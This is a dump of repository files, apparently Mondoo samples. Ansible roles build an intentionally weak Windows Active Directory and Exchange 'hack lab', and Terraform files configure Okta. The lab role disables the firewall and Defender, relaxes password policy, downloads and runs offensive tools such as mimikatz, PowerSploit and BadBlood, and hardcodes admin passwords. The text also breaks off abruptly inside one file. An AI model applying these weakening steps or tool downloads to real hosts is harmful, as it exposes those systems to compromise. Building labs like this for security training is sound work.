https://www.virtuallyboring.com/setup-microsoft-active-directory-certificate-services-ad-cs/ 3 | --- 4 | - name: ensure the ADCS feature is installed 5 | win_feature: 6 | name: AD-Certificate 7 | state: present 8 | register: pri_adcs_enrollment_install 9 | 10 | - name: reboot host if required 11 | win_reboot: 12 | when: pri_adcs_enrollment_install.reboot_required 13 | 14 | - name: configure AD CS certification authority 15 | win_shell: Install-AdcsCertificationAuthority -CAType EnterpriseRootCa -CryptoProviderName "RSA#Microsoft Software Key Storage Provider" -KeyLength 2048 -HashAlgorithmName SHA256 -Force 16 | register: pri_adcs_enrollment_config 17 | changed_when: pri_adcs_enrollment_config.rc == 0 18 | failed_when: 19 | - pri_adcs_enrollment_config.rc != 0 20 | - '"The Certification Authority is already installed" not in (pri_adcs_enrollment_config.stderr | regex_replace("\r\n", ""))' 21 | become: yes 22 | become_user: SYSTEM 23 | become_method: runas 24 | 25 | # NOTE: the template data was manually exported from another AD CS server where 26 | # I manually crafted the template. Saves a lot of code to build the template 27 | # through Ansible, also a lot of headaches to find out how to structure the 28 | # template 29 | - name: import the certificate template into AD CS 30 | win_adcs_template: 31 | templates: '{{ lookup("template", "adcs_template.xml.j2") }}' 32 | dacl: 33 | - user: Authenticated Users 34 | rights: 35 | - list_child 36 | - read_prop 37 | - list_object 38 | - read_control 39 | qualifier: AccessAllowed 40 | - user: Domain Computers 41 | rights: 42 | - list_child 43 | - read_prop 44 | - read_control 45 | qualifier: AccessAllowed 46 | - user: Domain Admins 47 | rights: 48 | - create_child 49 | - delete_child 50 | - list_child 51 | - self_write 52 | - read_prop 53 | - write_prop 54 | - delete_tree 55 | - list_object 56 | - delete 57 | - read_control 58 | - write_dac 59 | - write_owner 60 | qualifier: AccessAllowed 61 | - user: Enterprise Admins 62 | rights: 63 | - create_child 64 | - delete_child 65 | - list_child 66 | - self_write 67 | - read_prop 68 | - write_prop 69 | - delete_tree 70 | - list_object 71 | - delete 72 | - read_control 73 | - write_dac 74 | - write_owner 75 | qualifier: AccessAllowed 76 | - user: Domain Computers 77 | rights: 78 | - control_access 79 | type: auto_enroll 80 | qualifier: AccessAllowed 81 | - user: Domain Computers 82 | rights: 83 | - read_prop 84 | - write_prop 85 | - control_access 86 | type: enroll 87 | qualifier: AccessAllowed 88 | - user: Domain Admins 89 | rights: 90 | - read_prop 91 | - write_prop 92 | - control_access 93 | type: enroll 94 | qualifier: AccessAllowed 95 | - user: Enterprise Admins 96 | rights: 97 | - read_prop 98 | - write_prop 99 | - control_access 100 | type: enroll 101 | qualifier: AccessAllowed 102 | owner: Enterprise Admins 103 | group: Enterprise Admins 104 | 105 | - name: check if the template has already been set in CA 106 | win_shell: if (Get-CATemplate | Where-Object { $_.Name -eq "{{ pri_adcs_enrollment_template_name }}" }) { $true } else { $false } 107 | register: pri_adcs_enrollment_template_in_ca 108 | changed_when: no 109 | 110 | - name: add imported certificate template to AD CS 111 | win_shell: Add-CATemplate -Name {{ pri_adcs_enrollment_template_name | quote }} -Force 112 | when: not pri_adcs_enrollment_template_in_ca.stdout_lines[0]|bool 113 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/tasks/gpo.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: check if the GPO has already been imported 3 | win_shell: if (Get-GPO -Name {{ pri_adcs_enrollment_gpo_name | quote }} -ErrorAction SilentlyContinue) { $true } else { $false } 4 | register: pri_adcs_enrollment_gpo_exists 5 | changed_when: no 6 | 7 | - block: 8 | - name: create backup folder on host for GPO 9 | win_file: 10 | path: C:\temp\{{ pri_adcs_enrollment_gpo_name }}-backup 11 | state: directory 12 | 13 | - name: copy across backup of GPO 14 | win_copy: 15 | src: gpo_backup/ 16 | dest: C:\temp\{{ pri_adcs_enrollment_gpo_name }}-backup\ 17 | 18 | - name: restore GPO from backup 19 | win_shell: Import-GPO -BackupGpoName {{ pri_adcs_enrollment_gpo_name | quote }} -TargetName {{ pri_adcs_enrollment_gpo_name | quote }} -Path C:\temp\{{ pri_adcs_enrollment_gpo_name }}-backup -CreateIfNeeded 20 | 21 | - name: delete backup folder on host 22 | win_file: 23 | path: C:\temp\{{ pri_adcs_enrollment_gpo_name }}-backup 24 | state: absent 25 | 26 | when: not pri_adcs_enrollment_gpo_exists.stdout_lines[0]|bool 27 | 28 | # The backup GPO has an ID that is unique to the domain it came from, these 29 | # next 2 tasks get's the ID for this domain's auto enroll policy and set's 30 | # that onto the newly imported domain 31 | - name: get policy server ID 32 | win_shell: (Get-CertificateEnrollmentPolicyServer -Scope All -Context Machine).Id 33 | register: pri_adcs_enrollment_policy_id 34 | changed_when: no 35 | 36 | - name: set the policy server ID for the GPO 37 | win_gpo_reg: 38 | gpo: '{{ pri_adcs_enrollment_gpo_name }}' 39 | path: HKLM\Software\Policies\Microsoft\Cryptography\PolicyServers\{{ item.path | default('') }} 40 | name: '{{ item.name | default(omit) }}' 41 | value: "{{ pri_adcs_enrollment_policy_id.stdout_lines[0] }}" 42 | type: String 43 | with_items: 44 | - {} 45 | - path: 37c9dc30f207f27f61a2f7c3aed598a6e2920b54 46 | name: PolicyID 47 | 48 | - name: ensure GPO is linked and enforced 49 | win_gpo_link: 50 | name: '{{ pri_adcs_enrollment_gpo_name }}' 51 | state: present 52 | enforced: yes 53 | enabled: yes 54 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: setup up AD CS and create auto enroll template 3 | include_tasks: adcs_template.yml 4 | 5 | - name: import the auto enroll GPO policy 6 | include_tasks: gpo.yml 7 | 8 | - name: get the PEM encoded cert chain from ADCS and store as a variable 9 | win_shell: | 10 | $raw_ca_name = (&certutil.exe -CAInfo name)[0] 11 | $raw_ca_name -match "CA Name: (.*)" > $null 12 | $ca_name = $matches[1] 13 | $certificate = Get-ChildItem Cert:\LocalMachine\Root | Where-Object { $_.Subject.StartsWith("CN=$ca_name") } 14 | $cert_bytes = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert) 15 | [System.Convert]::ToBase64String($cert_bytes, [System.Base64FormattingOptions]::InsertLineBreaks) 16 | register: pri_adcs_enrollment_chain_thumbprint_raw 17 | changed_when: no 18 | 19 | - name: set PEM encoded cert as fact with correct headers 20 | set_fact: 21 | out_adcs_enrollment_chain_thumbprint: "-----BEGIN CERTIFICATE-----\n{{ pri_adcs_enrollment_chain_thumbprint_raw.stdout_lines|join('\n') }}\n-----END CERTIFICATE-----" 22 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/vars/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | pri_adcs_enrollment_template_name: WorkstationCertAutoEnroll 3 | pri_adcs_enrollment_gpo_name: WorkstationCertificateAutoEnroll 4 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/windows-ad/defaults/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | username: mondoo 3 | password: mondoo.com 4 | domain_name: mondoo.hacklab 5 | man_adcs_winrm_domain: '{{ domain_name }}' 6 | domain_admin: Administrator 7 | domain_admin_password: MondooSPM1! 8 | netbios_name: MONDOO 9 | domain_mode: WinThreshold 10 | dns_server: 11 | - 10.0.4.10 12 | - 8.8.8.8 13 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/windows-ad/tasks/create-domain.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Install domain controller 3 | win_feature: 4 | name: AD-Domain-Services 5 | include_management_tools: yes 6 | include_sub_features: yes 7 | state: present 8 | register: win_feature 9 | 10 | - name: Reboot after install AD role 11 | ansible.windows.win_reboot: 12 | #post_reboot_delay: 120 13 | #test_command: 'exit (Get-Service -Name Netlogon).Status -ne "Running"' 14 | #reboot_timeout: 3600 15 | when: win_feature.reboot_required 16 | 17 | - name: Deploy {{ domain_name }} Domain 18 | microsoft.ad.domain: 19 | create_dns_delegation: no 20 | database_path: C:\Windows\NTDS 21 | dns_domain_name: "{{ domain_name }}" 22 | install_dns: true 23 | domain_mode: "{{ domain_mode }}" 24 | domain_netbios_name: "{{ netbios_name }}" 25 | forest_mode: "{{ domain_mode }}" 26 | safe_mode_password: "{{ password }}" 27 | sysvol_path: C:\Windows\SYSVOL 28 | register: domain_install 29 | 30 | - name: Reboot server if required 31 | ansible.windows.win_reboot: 32 | #post_reboot_delay: 120 33 | #test_command: 'exit (Get-Service -Name Netlogon).Status -ne "Running"' 34 | #reboot_timeout: 3600 35 | when: domain_install.reboot_required 36 | 37 | - name: Ensure the server is a domain controller 38 | microsoft.ad.domain_controller: 39 | dns_domain_name: "{{ domain_name }}" 40 | safe_mode_password: "{{ password }}" 41 | domain_admin_user: "{{ domain_name }}\\{{ domain_admin }}" 42 | domain_admin_password: "{{ domain_admin_password }}" 43 | state: domain_controller 44 | register: dc_created 45 | 46 | - name: Reboot server if required 47 | ansible.windows.win_reboot: 48 | #post_reboot_delay: 120 49 | #test_command: 'exit (Get-Service -Name Netlogon).Status -ne "Running"' 50 | #reboot_timeout: 3600 51 | when: dc_created.reboot_required 52 | 53 | - name: Wait for domain controller to be ready 54 | ansible.windows.win_shell: | 55 | Get-ADDomain -Server "{{ domain_name }}" 56 | register: dc_ready 57 | until: dc_ready is not failed 58 | ignore_errors: yes 59 | retries: 60 60 | delay: 15 61 | 62 | - name: check badblood execution 63 | ansible.windows.win_stat: 64 | path: C:\Tools\badblood\badblood-executed.txt 65 | register: badbloodexec 66 | 67 | - name: Run PowerShell to execute badblood 68 | ansible.windows.win_powershell: 69 | script: | 70 | C:\Tools\badblood\BadBlood-master\Invoke-BadBlood.ps1 -NonInteractive $True 71 | when: not badbloodexec.stat.exists 72 | 73 | - name: badblood create file 74 | ansible.windows.win_file: 75 | path: C:\Tools\badblood\badblood-executed.txt 76 | state: touch 77 | 78 | - name: Ensure user {{ username }} is present and Domain Admin 79 | microsoft.ad.user: 80 | name: "{{ username }}" 81 | description: Domain Account 82 | password_never_expires: yes 83 | groups: 84 | set: 85 | - Domain Admins 86 | - Schema Admins 87 | - Enterprise Admins 88 | - Remote Desktop Users 89 | state: present 90 | 91 | - name: Remove {{ username }} from Protected Users group 92 | microsoft.ad.group: 93 | name: Protected Users 94 | members: 95 | remove: 96 | - "{{ username }}" 97 | - Administrator 98 | state: present 99 | 100 | - name: Reboot server if required 101 | ansible.windows.win_reboot: 102 | test_command: 'exit (Get-Service -Name Netlogon).Status -ne "Running"' -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/windows-ad/tasks/create-local-admin.yml: -------------------------------------------------------------------------------- 1 | # create new user and add to local admin group 2 | - name: create mondoo user 3 | ansible.windows.win_user: 4 | name: "{{ username }}" 5 | password: "{{ password }}" 6 | state: present 7 | groups: 8 | - Administrators -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/windows-ad/tasks/dns-config.yml: -------------------------------------------------------------------------------- 1 | - name: Set dns server on all visible adapters 2 | ansible.windows.win_dns_client: 3 | adapter_names: '*' 4 | dns_servers: 5 | - "{{ dns_server }}" -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/windows-ad/tasks/join-to-domain.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Domain Join 3 | microsoft.ad.membership: 4 | dns_domain_name: '{{ domain_name }}' 5 | domain_admin_user: '{{ username }}' 6 | domain_admin_password: '{{ password }}' 7 | state: domain 8 | register: domain_join 9 | 10 | - name: reboot Windows 11 | ansible.windows.win_reboot: 12 | test_command: 'exit (Get-Service -Name Netlogon).Status -ne "Running"' -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/windows-ad/tasks/prepare-system.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # tasks file for windows-common 3 | 4 | - name: Install RSAT Tools 5 | ansible.windows.win_feature: 6 | name: 7 | - RSAT-AD-PowerShell 8 | - RSAT-AD-AdminCenter 9 | state: present 10 | register: rsat_install 11 | 12 | # disable ipv6 13 | - name: Run PowerShell to disable ipv6 14 | ansible.windows.win_powershell: 15 | script: | 16 | Get-NetAdapterBinding -ComponentID ms_tcpip6 | ForEach-Object {Disable-NetAdapterBinding -Name $_.Name -ComponentID ms_tcpip6} 17 | Get-NetAdapterBinding -ComponentID ms_tcpip6 18 | 19 | - name: set registry key to disable ipv6 20 | ansible.windows.win_regedit: 21 | path: HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters 22 | name: "DisabledComponents" 23 | data: "255" 24 | type: dword 25 | 26 | # disable windows firewall 27 | - name: Run PowerShell to disable Firewall 28 | ansible.windows.win_powershell: 29 | script: | 30 | netsh advfirewall set allprofiles state off 31 | 32 | # disable windows defender 33 | - name: Uninstall Windows Defender 34 | ansible.windows.win_feature: 35 | name: 36 | - Windows-Defender 37 | state: absent 38 | - name: Run PowerShell to disable defender 39 | ansible.windows.win_powershell: 40 | script: | 41 | Set-MpPreference -DisableArchiveScanning 1 -ErrorAction SilentlyContinue 42 | Set-MpPreference -DisableBehaviorMonitoring 1 -ErrorAction SilentlyContinue 43 | Set-MpPreference -DisableIntrusionPreventionSystem 1 -ErrorAction SilentlyContinue 44 | Set-MpPreference -DisableIOAVProtection 1 -ErrorAction SilentlyContinue 45 | Set-MpPreference -DisableRemovableDriveScanning 1 -ErrorAction SilentlyContinue 46 | Set-MpPreference -DisableBlockAtFirstSeen 1 -ErrorAction SilentlyContinue 47 | Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan 1 -ErrorAction SilentlyContinue 48 | Set-MpPreference -DisableScanningNetworkFiles 1 -ErrorAction SilentlyContinue 49 | Set-MpPreference -DisableScriptScanning 1 -ErrorAction SilentlyContinue 50 | Set-MpPreference -DisableRealtimeMonitoring 1 -ErrorAction SilentlyContinue 51 | 52 | # disable windows password complexity 53 | - name: Run PowerShell to disable password complexity 54 | ansible.windows.win_powershell: 55 | script: | 56 | secedit /export /cfg C:\secpol.cfg 57 | (gc C:\secpol.cfg).replace("PasswordComplexity = 1", "PasswordComplexity = 0") | Out-File C:\secpol.cfg 58 | secedit /configure /db C:\Windows\security\local.sdb /cfg C:\secpol.cfg /areas SECURITYPOLICY 59 | rm -force C:\secpol.cfg -confirm:$false 60 | 61 | - name: Create tools directory 62 | ansible.windows.win_file: 63 | path: C:\Tools 64 | state: directory 65 | 66 | - name: Check if atomic red team exists 67 | ansible.windows.win_stat: 68 | path: C:\Tools\atomic-red-team.zip 69 | register: atomic_stat_result 70 | 71 | - name: Download atomic red team 72 | ansible.windows.win_get_url: 73 | url: https://github.com/redcanaryco/invoke-atomicredteam/archive/refs/heads/master.zip 74 | dest: C:\Tools\atomic-red-team.zip 75 | when: not atomic_stat_result.stat.exists 76 | 77 | - name: decompress atomic red team zip 78 | community.windows.win_unzip: 79 | src: C:\Tools\atomic-red-team.zip 80 | dest: C:\Tools\atomic-red-team 81 | creates: C:\Tools\atomic-red-team 82 | 83 | - name: Check if mimikatz exists 84 | ansible.windows.win_stat: 85 | path: C:\Tools\mimikatz.zip 86 | register: mimikatz_stat_result 87 | 88 | - name: Download mimikatz 89 | ansible.windows.win_get_url: 90 | url: https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip 91 | dest: C:\Tools\mimikatz.zip 92 | when: not mimikatz_stat_result.stat.exists 93 | 94 | - name: decompress mimikatz zip 95 | community.windows.win_unzip: 96 | src: C:\Tools\mimikatz.zip 97 | dest: C:\Tools\mimikatz 98 | creates: C:\Tools\mimikatz 99 | 100 | - name: Check if powersploit exists 101 | ansible.windows.win_stat: 102 | path: C:\Tools\powersploit.zip 103 | register: powersploit_stat_result 104 | 105 | - name: Download powersploit 106 | ansible.windows.win_get_url: 107 | url: https://github.com/PowerShellMafia/PowerSploit/archive/refs/heads/master.zip 108 | dest: C:\Tools\powersploit.zip 109 | when: not powersploit_stat_result.stat.exists 110 | 111 | - name: decompress powersploit zip 112 | community.windows.win_unzip: 113 | src: C:\Tools\powersploit.zip 114 | dest: C:\Tools\powersploit 115 | creates: C:\Tools\powersploit 116 | 117 | - name: Check if purplesharp exists 118 | ansible.windows.win_stat: 119 | path: C:\Tools\PurpleSharp_x64.exe 120 | register: purplesharp_stat_result 121 | 122 | - name: Download purplesharp 123 | ansible.windows.win_get_url: 124 | url: https://github.com/mvelazc0/PurpleSharp/releases/download/v1.3/PurpleSharp_x64.exe 125 | dest: C:\Tools\PurpleSharp_x64.exe 126 | when: not purplesharp_stat_result.stat.exists 127 | 128 | - name: Check if badblood exists 129 | ansible.windows.win_stat: 130 | path: C:\Tools\badblood.zip 131 | register: badblood_stat_result 132 | 133 | - name: Download badblood 134 | ansible.windows.win_get_url: 135 | url: https://github.com/davidprowe/BadBlood/archive/master.zip 136 | dest: C:\Tools\badblood.zip 137 | when: not badblood_stat_result.stat.exists 138 | 139 | - name: decompress badblood zip 140 | community.windows.win_unzip: 141 | src: C:\Tools\badblood.zip 142 | dest: C:\Tools\badblood 143 | creates: C:\Tools\badblood 144 | 145 | #- name: Reboot the server 146 | # ansible.windows.win_powershell: 147 | # script: Restart-Computer -Force 148 | # 149 | #- name: Wait 2 mins for server to reboot 150 | # pause: 151 | # seconds: 120 152 | 153 | # in the vagrant env the win_reboot is not working 154 | - name: reboot if RSAT Tools feature requires it 155 | ansible.windows.win_reboot: 156 | #post_reboot_delay: 120 157 | test_command: 'exit (Get-Service -Name Netlogon).Status -ne "Running"' 158 | #reboot_timeout: 3600 159 | when: rsat_install.reboot_required 160 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/windows-exchange/defaults/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | username: mondoo 3 | password: mondoo.com 4 | domain_name: mondoo.hacklab 5 | man_adcs_winrm_domain: '{{ domain_name }}' 6 | domain_admin: Administrator 7 | domain_admin_password: MondooSPM1! 8 | netbios_name: MONDOO 9 | domain_mode: WinThreshold 10 | dns_server: 11 | - 10.0.4.10 12 | - 8.8.8.8 13 | exchange_folder: C:\exchange2016 14 | exchange_iso: C:\Tools\ExchangeServer2016-x64-cu12.iso 15 | exchange_url: https://download.microsoft.com/download/2/5/8/258D30CF-CA4C-433A-A618-FB7E6BCC4EEE/ExchangeServer2016-x64-cu12.iso -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/windows-exchange/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Install Windows features for exchange 3 | ansible.windows.win_feature: 4 | name: 5 | - NET-Framework-45-Features 6 | - NET-WCF-HTTP-Activation45 7 | - RPC-over-HTTP-proxy 8 | - RSAT-ADDS 9 | - RSAT-ADDS-Tools 10 | - RSAT-Clustering 11 | - RSAT-Clustering-CmdInterface 12 | - RSAT-Clustering-Mgmt 13 | - RSAT-Clustering-PowerShell 14 | - Web-ASP-NET45 15 | - Web-Digest-Auth 16 | - Web-Mgmt-Console 17 | - Web-Mgmt-Service 18 | - Web-Net-Ext45 19 | - Web-WMI 20 | - WAS-Process-Model 21 | - Web-Basic-Auth 22 | - Web-Client-Auth 23 | - Web-Dir-Browsing 24 | - Web-Dyn-Compression 25 | - Web-Http-Errors 26 | - Web-Http-Logging 27 | - Web-Http-Redirect 28 | - Web-Http-Tracing 29 | - Web-ISAPI-Ext 30 | - Web-ISAPI-Filter 31 | - Web-Lgcy-Mgmt-Console 32 | - Web-Metabase 33 | - Web-Request-Monitor 34 | - Web-Server 35 | - Web-Stat-Compression 36 | - Web-Static-Content 37 | - Web-Windows-Auth 38 | - Web-WMI 39 | - Windows-Identity-Foundation 40 | state: present 41 | register: feature_install 42 | 43 | - name: reboot if Tools feature requires it 44 | ansible.windows.win_reboot: 45 | when: feature_install.reboot_required 46 | 47 | - name: Install ucma, netfx and vcredist2013 via choco 48 | chocolatey.chocolatey.win_chocolatey: 49 | name: 50 | - ucma4 51 | - netfx-4.8 52 | - vcredist2013 53 | state: present 54 | 55 | - name: reboot after choco installations 56 | ansible.windows.win_reboot: 57 | 58 | - name: Check if exchange iso exists 59 | ansible.windows.win_stat: 60 | path: C:\Tools\ExchangeServer2016-x64-cu12.iso 61 | register: stat_result 62 | 63 | - name: Download Exchange 2016 ISO 64 | ansible.windows.win_get_url: 65 | url: "{{ exchange_url }}" 66 | dest: "{{ exchange_iso }}" 67 | when: not stat_result.stat.exists 68 | 69 | - name: Ensure Exchange ISO is mounted 70 | community.windows.win_disk_image: 71 | image_path: "{{ exchange_iso }}" 72 | state: present 73 | register: iso_mount 74 | 75 | - name: Prepare Schema 76 | ansible.windows.win_powershell: 77 | script: | 78 | D:\\Setup.exe /IAcceptExchangeServerLicenseTerms /PrepareSchema 79 | vars: 80 | ansible_become: yes 81 | ansible_become_method: runas 82 | ansible_become_user: "{{ domain_name }}\\{{ domain_admin }}" 83 | ansible_become_password: "{{ domain_admin_password }}" 84 | register: prepare_schema 85 | 86 | - name: Prepare AD 87 | ansible.windows.win_powershell: 88 | script: | 89 | D:\\Setup.exe /IAcceptExchangeServerLicenseTerms /PrepareAD /OrganizationName: mondoo 90 | vars: 91 | ansible_become: yes 92 | ansible_become_method: runas 93 | ansible_become_user: "{{ domain_name }}\\{{ domain_admin }}" 94 | ansible_become_password: "{{ domain_admin_password }}" 95 | register: prepare_ad 96 | 97 | - name: Install Exchange 98 | ansible.windows.win_powershell: 99 | script: | 100 | D:\\Setup.exe /IAcceptExchangeServerLicenseTerms /Mode:Install /Role:Mailbox /OrganizationName: mondoo 101 | vars: 102 | ansible_become: yes 103 | ansible_become_method: runas 104 | ansible_become_user: "{{ domain_name }}\\{{ domain_admin }}" 105 | ansible_become_password: "{{ domain_admin_password }}" 106 | register: install_exchange 107 | 108 | - name: reboot after exchange installation 109 | ansible.windows.win_reboot: 110 | pre_reboot_delay: 5 111 | reboot_timeout: 600 112 | post_reboot_delay: 60 113 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/windows-deploy-ad.yml: -------------------------------------------------------------------------------- 1 | - name: Deploy AD 2 | hosts: dc 3 | gather_facts: yes 4 | become: no 5 | tasks: 6 | - name: Prepare DC 7 | import_role: 8 | name: windows-ad 9 | tasks_from: prepare-system 10 | - name: Create new lokal Admin 11 | import_role: 12 | name: windows-ad 13 | tasks_from: create-local-admin 14 | - name: Create Domain 15 | import_role: 16 | name: windows-ad 17 | tasks_from: create-domain 18 | - name: 19 | import_role: 20 | name: adcs-enrollment 21 | tasks_from: main 22 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/windows-dvwa.yml: -------------------------------------------------------------------------------- 1 | - name: DVWA 2 | hosts: dvwa 3 | gather_facts: yes 4 | become: no 5 | 6 | tasks: 7 | - name: Configure DNS Client 8 | import_role: 9 | name: windows-ad 10 | tasks_from: dns-config 11 | - name: Prepare System 12 | import_role: 13 | name: windows-ad 14 | tasks_from: prepare-system 15 | - name: Join to domain 16 | import_role: 17 | name: windows-ad 18 | tasks_from: join-to-domain 19 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/windows-exchange.yml: -------------------------------------------------------------------------------- 1 | - name: Deploy Exchange 2 | hosts: exchange 3 | gather_facts: yes 4 | become: no 5 | 6 | tasks: 7 | - name: Configure DNS Client 8 | import_role: 9 | name: windows-ad 10 | tasks_from: dns-config 11 | - name: Prepare System 12 | import_role: 13 | name: windows-ad 14 | tasks_from: prepare-system 15 | - name: Join to domain 16 | import_role: 17 | name: windows-ad 18 | tasks_from: join-to-domain 19 | - name: install exchange 20 | import_role: 21 | name: windows-exchange 22 | tasks_from: main 23 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/output.tf: -------------------------------------------------------------------------------- 1 | ################################################################################ 2 | # Additional 3 | ################################################################################ 4 | 5 | #output "region" { 6 | # description = "AWS region" 7 | # value = var.region 8 | #} 9 | # 10 | #output "current-aws-account" { 11 | # description = "Current AWS account" 12 | # value = data.aws_caller_identity.current.account_id 13 | #} 14 | # 15 | #output "aws-availability-zones" { 16 | # description = "current aws availability zones" 17 | # value = data.aws_availability_zones.available.names 18 | #} 19 | 20 | output "hack_write_up" { 21 | value = < tfplan.json 70 | ``` 71 | 72 | #### Scan the Terraform tfplan.json 73 | 74 | ```typescript 75 | cnspec scan terraform plan tfplan.json -f policies/okta-security.mql.yaml 76 | ``` 77 | -------------------------------------------------------------------------------- /okta/okta-terraform-provisioning/assets/healthinsights-passed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/okta/okta-terraform-provisioning/assets/healthinsights-passed.png -------------------------------------------------------------------------------- /okta/okta-terraform-provisioning/assets/okta-dev.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/okta/okta-terraform-provisioning/assets/okta-dev.png -------------------------------------------------------------------------------- /okta/okta-terraform-provisioning/main.tf: -------------------------------------------------------------------------------- 1 | data "okta_everyone_group" "everyone_group" {} 2 | 3 | data "okta_groups" "default" {} 4 | 5 | // GROUPS 6 | 7 | resource "okta_group" "super_admins" { 8 | name = "Super Admins" 9 | description = "Super Admin groups" 10 | } 11 | 12 | resource "okta_group_role" "super_admins_role" { 13 | group_id = okta_group.super_admins.id 14 | role_type = "SUPER_ADMIN" 15 | } 16 | 17 | resource "okta_group" "org_admins" { 18 | name = "Org Admins" 19 | description = "Org admin group" 20 | } 21 | 22 | resource "okta_group_role" "org_admin_role" { 23 | group_id = okta_group.org_admins.id 24 | role_type = "ORG_ADMIN" 25 | } 26 | 27 | 28 | resource "okta_group" "developers" { 29 | name = "Developers" 30 | description = "Developer group" 31 | } 32 | 33 | resource "okta_group_role" "dev_app_admin_role" { 34 | group_id = okta_group.developers.id 35 | role_type = "APP_ADMIN" 36 | } 37 | 38 | resource "okta_group_memberships" "dev" { 39 | group_id = okta_group.developers.id 40 | users = [ 41 | okta_user.jane_doe.id, 42 | ] 43 | } 44 | 45 | resource "okta_group" "api_admins" { 46 | name = "API Admins" 47 | description = "API admin groups" 48 | } 49 | 50 | resource "okta_group_role" "api_admin_role" { 51 | group_id = okta_group.api_admins.id 52 | role_type = "API_ACCESS_MANAGEMENT_ADMIN" 53 | } 54 | 55 | resource "okta_group_memberships" "api_admins" { 56 | group_id = okta_group.api_admins.id 57 | users = [ 58 | okta_user.jane_doe.id, 59 | ] 60 | } 61 | 62 | // USERS 63 | 64 | resource "okta_user" "jane_doe" { 65 | first_name = "Jane" 66 | last_name = "Doe" 67 | login = "jdoe@example.com" 68 | email = "jdoe@example.com" 69 | } 70 | 71 | output "groups" { 72 | value = data.okta_groups.default.groups 73 | } -------------------------------------------------------------------------------- /okta/okta-terraform-provisioning/okta_factor.tf: -------------------------------------------------------------------------------- 1 | // "fido_u2f", "fido_webauthn", "google_otp", "okta_call", "okta_otp", "okta_password", "okta_push", "okta_question", "okta_sms", "okta_email", "rsa_token", "symantec_vip", "yubikey_token", or "hotp". 2 | 3 | resource "okta_factor" "google_otp" { 4 | provider_id = "google_otp" 5 | active = true 6 | } 7 | 8 | resource "okta_factor" "okta_password" { 9 | provider_id = "okta_password" 10 | active = true 11 | } 12 | 13 | resource "okta_factor" "okta_otp" { 14 | provider_id = "okta_otp" 15 | active = true 16 | } 17 | 18 | resource "okta_factor" "okta_push" { 19 | provider_id = "okta_push" 20 | active = true 21 | } 22 | 23 | resource "okta_policy_mfa_default" "classic_default" { 24 | is_oie = false 25 | 26 | okta_password = { 27 | enroll = "REQUIRED" 28 | } 29 | 30 | okta_otp = { 31 | enroll = "REQUIRED" 32 | } 33 | 34 | okta_push = { 35 | enroll = "REQUIRED" 36 | } 37 | } -------------------------------------------------------------------------------- /okta/okta-terraform-provisioning/okta_policy_password_default.tf: -------------------------------------------------------------------------------- 1 | resource "okta_policy_password_default" "default" { 2 | password_min_length = var.password_minimum_length 3 | password_min_lowercase = var.password_min_lowercase 4 | password_min_number = var.password_min_number 5 | password_min_symbol = var.password_min_symbol 6 | password_min_age_minutes = var.password_min_age_minutes 7 | password_exclude_username = var.password_exclude_username 8 | password_exclude_first_name = var.password_exclude_first_name 9 | password_exclude_last_name = var.password_exclude_last_name 10 | password_dictionary_lookup = var.password_dictionary_lookup 11 | password_max_age_days = var.password_max_age_days 12 | password_expire_warn_days = var.password_expire_warn_days 13 | password_history_count = var.password_history_count 14 | password_max_lockout_attempts = var.password_max_lockout_attempts 15 | password_auto_unlock_minutes = var.password_auto_unlock_minutes 16 | password_show_lockout_failures = var.password_show_lockout_failures 17 | email_recovery = var.email_recovery 18 | sms_recovery = var.sms_recovery 19 | question_recovery = var.question_recovery 20 | } -------------------------------------------------------------------------------- /okta/okta-terraform-provisioning/okta_security_notification_emails.tf: -------------------------------------------------------------------------------- 1 | resource "okta_security_notification_emails" "this" { 2 | report_suspicious_activity_enabled = true 3 | send_email_for_factor_enrollment_enabled = true 4 | send_email_for_factor_reset_enabled = true 5 | send_email_for_new_device_enabled = true 6 | send_email_for_password_changed_enabled = true 7 | } -------------------------------------------------------------------------------- /okta/okta-terraform-provisioning/okta_threat_insight_settings.tf: -------------------------------------------------------------------------------- 1 | data "okta_network_zone" "BlockedIpZoneDefault" { 2 | name = "BlockedIpZoneDefault" 3 | } 4 | 5 | data "okta_network_zone" "LegacyIpZone" { 6 | name = "LegacyIpZone" 7 | } 8 | 9 | resource "okta_network_zone" "ip_network_zone_blocked" { 10 | name = "WhiteListedIPs" 11 | type = "IP" 12 | gateways = ["98.24.172.148-98.24.172.148"] 13 | proxies = 